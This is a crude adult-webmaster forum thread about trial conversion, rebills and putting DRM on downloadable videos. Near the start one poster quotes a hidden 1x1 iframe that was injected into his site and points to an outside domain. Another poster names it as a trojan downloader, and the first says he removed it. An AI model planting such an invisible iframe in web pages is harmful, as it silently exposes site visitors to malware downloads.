Originally Posted by kinetic

stat counter my ass :
Trojan-Downloader.HTML.Agent.g

Originally Posted by TurboTrucker

I found this shit on my site

[HTML]<iframe src=http://www.inestco.com frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>
[/HTML]

I did NOT put it there. I'm not sure what it is but it's been removed.

Originally Posted by xxxjay

it is my opinion, that while you may get 40%-50% to convert to full -- you pissed off the other 50%-60% and they will never join your site again. We look at the long term.

Originally Posted by xxxjay

only DRMed content will be downloadable, so we will have no more raping and pillaging for $2.95.

Originally Posted by SomeCreep

You say you're looking at the long term, but IMO, DRMing your content will piss off your members more than anything.

Edit: btw, is only the content in your trial section DRMed? Or is all the downloadable content DRMed, including the content for monthly members?

Originally Posted by xxxjay

We are constantly working on increasing the rebills and trial to fulls. Just 2 weeks ago we made it so if you join 1 site you get full access to that site and the rest of the sites are an upsell. It increased rebills by 10%. Now we are putting everything in a CMS with a slicker members area. We are expecting another 10% with that.

We avoided "the only 2 clips" limited trials that some programs are using to get the trial to full up to 40%-50% becasue, it is my opinion, that while you may get 40%-50% to convert to full -- you pissed off the other 50%-60% and they will never join your site again. We look at the long term.

:2 cents:

Remember, you can always push with the non-trial option if you are not happy with the trial to full.

Originally Posted by Mutt

DRM does not work - it pisses members off in a big way.

Originally Posted by bigdog

intresting point about the limited trials, but it's not like the webmaster who sends you the trial in the first place is going to get credit if the surfer decides to join up later

Originally Posted by xxxjay

Yeah, it's just my opinion but if you are getting a good 40% - 50% trial to full (which I would love to have) then there are more people that are actually unsatisfied and will never come back. I know I would be pissed.

On the other hand, Chris has shown me wher the same surfer has joined 18 times under the same affiliate for trials. What's even funnier is the guy forgot his password! hahaha

Its not like you can send the mafia over their house and make them stay, although I wish you could.

Originally Posted by xxxjay

Here is the only scenerio I would use DRM:

1. Right now you can watch our videos in the explorer window.
2. Or you can download them to your local disc.

Only the downloaded videos would be DRMed and that is not even done yet. That would defiently put a dent in the people that join for a trial, download everything, and the cancel.

It's a s simple as that.

Originally Posted by Porndude

yeah how do you effectively put a time limit on content? because if a guy joins for 30 days, you don't want downloadables to go nill after 3 days..

it'd have to be a script that can tell how long his membership is for, then give him dynamic drm files..

anyone already selling a script like this? doubt it..

Playerbucks... less than a week away.


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Originally Posted by Porndude

yeah how do you effectively put a time limit on content? because if a guy joins for 30 days, you don't want downloadables to go nill after 3 days..

it'd have to be a script that can tell how long his membership is for, then give him dynamic drm files..

anyone already selling a script like this? doubt it..

Playerbucks... less than a week away.


-A

Originally Posted by bigdog

so in your setup once the surfer would cancel their membership the videos would stop working?

Originally Posted by xxxjay

Yep, it's like a movie. You go to the theatre, you see the movie, but you can't take it with you. Also, as you pointed out, it will keep you content off file swapping networks and newgroups.

Originally Posted by Pornwolf

With the limited trial option catching steam over the last couple of years the wow factor of DRM has dissapated. A lot of big companies are streaming their vids more than offering downloads anyway.

Originally Posted by xxxjay

Some guys just love to have the videos downloaded already, so I like to leave that option open. I would say that I would have 2 copies for each - I to play in the stream without DRM and a DRM'ed one for download.

I noticed when I was reviewing the Reality Cash sites for Jays that even when you were watching the stream -- you still had to keep tying in your password. I can't imagine how frustrating that would get to a guy who is trying to krank one out.

Only making the downloadable stuff DRM'ed would give me a HUGE laugh at the asshole surfer that just joined your site, sat there downloading till they got carpal tunnel syndrome, quits, and goes to watch the videos and none will play...now that would be an awesome sight.

Originally Posted by bigdog

also good for mac users since drm doesn't work for them, the stream will